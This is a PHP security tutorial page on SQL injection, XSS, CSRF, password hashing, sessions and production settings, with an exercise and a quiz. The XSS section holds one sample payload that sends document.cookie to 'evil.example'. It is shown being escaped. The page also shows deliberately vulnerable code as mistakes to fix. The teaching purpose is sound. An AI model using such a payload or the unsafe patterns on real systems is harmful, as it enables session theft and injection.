PHP Security Essentials
A website is open to the whole internet, including people who will type strange things into every form field just to see what breaks. Most successful attacks on PHP sites do not use clever tricks. They use a handful of well-known mistakes that are easy to avoid once you know them.
This lesson collects the essential defences in one place: SQL injection, cross-site scripting (XSS), cross-site request forgery (CSRF), password storage, session safety, upload safety and production settings. Several of them were introduced in earlier lessons; here you see how they fit together.
The golden rule: never trust input
Input is anything that comes from outside your code: $_GET, $_POST, $_COOKIE, $_FILES, most of $_SERVER, headers, uploaded files, and even data from other APIs. All of it can be changed by an attacker, no matter what your HTML form allows. Two habits protect you:
- Validate input when it arrives: is it the type, length and format you expect? Reject it if not. (Form Validation & Escaping covers this.)
- Escape output when you use it: make the data safe for the place it goes, whether that is SQL, HTML, a URL or a shell command.
SQL injection
If user input is joined into an SQL string, an attacker can change the query itself. The fix is simple and has no exceptions: use prepared statements for every query that contains a value from outside.
// Unsafe: the input becomes part of the SQL
$rows = db()->query("SELECT * FROM users WHERE email = '$email'");
// Safe: the input is sent separately as data
$stmt = db()->prepare('SELECT id, name FROM users WHERE email = :email');
$stmt->execute(['email' => $email]);For table names, column names or sort directions, which placeholders cannot hold, choose from an allow-list. The details are in CRUD with Prepared Statements.
Cross-site scripting (XSS)
XSS happens when a page prints user input as raw HTML. If a comment contains a <script> tag, every visitor's browser runs it, and the script can steal cookies or act as the logged-in user. The fix is to escape output with htmlspecialchars(), which turns <, >, & and quotes into harmless HTML entities. A short helper makes it easy to use everywhere:
<?php
declare(strict_types=1);
function e(string $value): string
{
return htmlspecialchars($value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
$comment = '<script>fetch("https://evil.example/?c=" + document.cookie)</script>';
$name = 'Rohan "The Wall" D\'Souza';
echo '<p>' . e($comment) . "</p>\n";
echo '<input value="' . e($name) . "\">\n";<p><script>fetch("https://evil.example/?c=" + document.cookie)</script></p> <input value="Rohan "The Wall" D'Souza">
The browser now shows the script as text instead of running it. ENT_QUOTES escapes both kinds of quote, so values are also safe inside attributes, and ENT_SUBSTITUTE replaces broken UTF-8 instead of returning an empty string.
Rules that go with it:
- Escape at the moment of output, every time, even for data from your own database.
- For a URL that a user typed (such as a website link in a profile), also check it starts with
https://orhttp://, or someone can submitjavascript:.... - To pass data to JavaScript, use
json_encode()withJSON_HEX_TAG, not string joining. - A
Content-Security-Policyheader adds a second layer by telling the browser which scripts it may run.
Cross-site request forgery (CSRF)
Suppose Priya is logged in to your site. She then visits a different, evil site that contains a hidden form which posts to your delete-account.php. Her browser sends her session cookie along with the request, so your site thinks Priya clicked the button herself. This is CSRF.
The defence is a CSRF token: a random secret stored in the session and put in every form. The evil site cannot read it, so its forged requests fail the check.
<?php
declare(strict_types=1);
function csrfToken(): string
{
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
return $_SESSION['csrf_token'];
}
function checkCsrf(): void
{
$sent = $_POST['csrf_token'] ?? '';
if (!is_string($sent) || !hash_equals(csrfToken(), $sent)) {
http_response_code(403);
exit('This form has expired. Please go back, reload the page and try again.');
}
}Every form includes the token in a hidden field, and every script that changes data calls checkCsrf() before doing anything else:
<form method="post" action="delete-contact.php">
<input type="hidden" name="csrf_token" value="<?= e(csrfToken()) ?>">
<input type="hidden" name="id" value="42">
<button type="submit">Delete</button>
</form>random_bytes() produces cryptographically secure randomness, and hash_equals() compares two strings in constant time, so an attacker cannot guess the token by measuring how long the comparison takes. Also make sure that actions which change data only work with POST requests, and set your session cookie's SameSite flag to Lax or Strict as an extra layer.
Storing passwords
Never store passwords as plain text, and never use md5() or sha1(): they are designed to be fast, so attackers can test billions of guesses per second. Use password_hash(), which is deliberately slow, adds a random salt (so two users with the same password get different hashes) and stores everything needed in one string.
// When the user registers
$hash = password_hash($password, PASSWORD_DEFAULT);
// store $hash in a VARCHAR(255) column
// When the user logs in
$stmt = db()->prepare('SELECT id, name, password_hash FROM users WHERE email = :email');
$stmt->execute(['email' => $email]);
$user = $stmt->fetch();
if ($user === false || !password_verify($password, $user['password_hash'])) {
$error = 'Wrong email or password.';
} else {
if (password_needs_rehash($user['password_hash'], PASSWORD_DEFAULT)) {
$update = db()->prepare('UPDATE users SET password_hash = :hash WHERE id = :id');
$update->execute(['hash' => password_hash($password, PASSWORD_DEFAULT), 'id' => $user['id']]);
}
session_regenerate_id(true);
$_SESSION['user_id'] = $user['id'];
header('Location: /dashboard.php');
exit;
}A hash from PHP 8.4 looks like $2y$12$... and is 60 characters long. $2y$ means bcrypt, and 12 is the cost: how much work each check takes. PHP 8.4 raised the default cost from 10 to 12. password_needs_rehash() notices old, weaker hashes and upgrades them the next time the user logs in. The error message is the same for an unknown email and a wrong password, so attackers cannot find out which emails are registered.
Sessions
From Sessions & Cookies, the essentials are:
- Call
session_regenerate_id(true)right after login to prevent session fixation, where an attacker plants a session ID they already know. - Set the session cookie's
secure,httponlyandsamesiteflags, and turn onuse_strict_mode. - On logout, empty
$_SESSION, delete the cookie and callsession_destroy(). - Serve the whole site over HTTPS, so session cookies cannot be read on public Wi-Fi.
File uploads
From File Uploads: check the upload error code and size, detect the real type with finfo, generate a random file name with an extension from your own allow-list, and store files outside the web root. Never use the visitor's file name, and never let uploaded files be run as PHP.
Production settings and updates
Settings that help during development are dangerous on a live server. Use these in the production php.ini:
display_errors = Off
display_startup_errors = Off
log_errors = On
error_log = /var/log/php/app-errors.log
expose_php = Off
session.cookie_secure = 1
session.cookie_httponly = 1
session.cookie_samesite = Lax
session.use_strict_mode = 1display_errors = Off stops error messages (with file paths and SQL) from reaching visitors, while log_errors keeps them for you. expose_php = Off removes the X-Powered-By header that tells attackers your exact PHP version.
Common mistakes
- Escaping on input instead of output. Store the original text and escape it when you print it, for the place you print it.
- Hiding a delete action behind a GET link. Any page can trigger it. Use a POST form with a CSRF token.
- Writing your own password hashing or encryption. Use
password_hash()and well-known libraries. - Telling users which part of a login was wrong. "Wrong email or password" is enough.
- Trusting hidden form fields, cookies or JavaScript checks. Attackers can change all of them.
Key points
- Treat all input as untrusted: validate it on arrival and escape it on output.
- Prepared statements stop SQL injection; allow-lists cover column names.
- Escape every value you print in HTML with
htmlspecialchars()(wrapped in a helper such ase()). - Protect every state-changing form with a CSRF token checked by
hash_equals(). - Store passwords with
password_hash()and check them withpassword_verify(). - In production, turn
display_errorsoff, log errors, use HTTPS and keep PHP and packages updated.
Exercise
Review this code and list every security problem you can find, then rewrite it safely. It runs when a logged-in user posts a new comment:
$text = $_POST['text'];
db()->query("INSERT INTO comments (user_id, text) VALUES ({$_SESSION['user_id']}, '$text')");
echo "<p>You wrote: $text</p>";Show solution
Problems: the SQL is built from input (SQL injection), the comment is printed without escaping (XSS), there is no CSRF check, and the input is not validated (it could be missing, an array, empty or huge).
<?php
declare(strict_types=1);
session_start();
checkCsrf();
$text = trim((string) ($_POST['text'] ?? ''));
if ($text === '' || mb_strlen($text) > 1000) {
http_response_code(422);
exit('Please write a comment of 1 to 1,000 characters.');
}
$stmt = db()->prepare('INSERT INTO comments (user_id, text) VALUES (:user_id, :text)');
$stmt->execute(['user_id' => $_SESSION['user_id'], 'text' => $text]);
echo '<p>You wrote: ' . e($text) . '</p>';Each fix matches one attack: the CSRF check, input validation, a prepared statement and escaping with e() on output.
Quick Quiz
1. Which function should you use to store a user's password?
password_hash() is slow on purpose and adds a random salt; fast hashes like md5() are easy to crack.
2. What does htmlspecialchars() protect against?
It turns HTML special characters into entities, so the browser shows input as text instead of running it.
3. How does a CSRF token stop a forged request from another website?
The token must match the one in the session, and a foreign site has no way to know it.
4. Which setting should be Off on a live server?
Showing errors to visitors leaks file paths and queries; log them instead.
Learn PHP with a mentor
Free lessons get you started. Our Full Stack Web Development training adds real projects and code reviews from working developers.
- Project-based learning
- Mentor code reviews
- Free counselling call
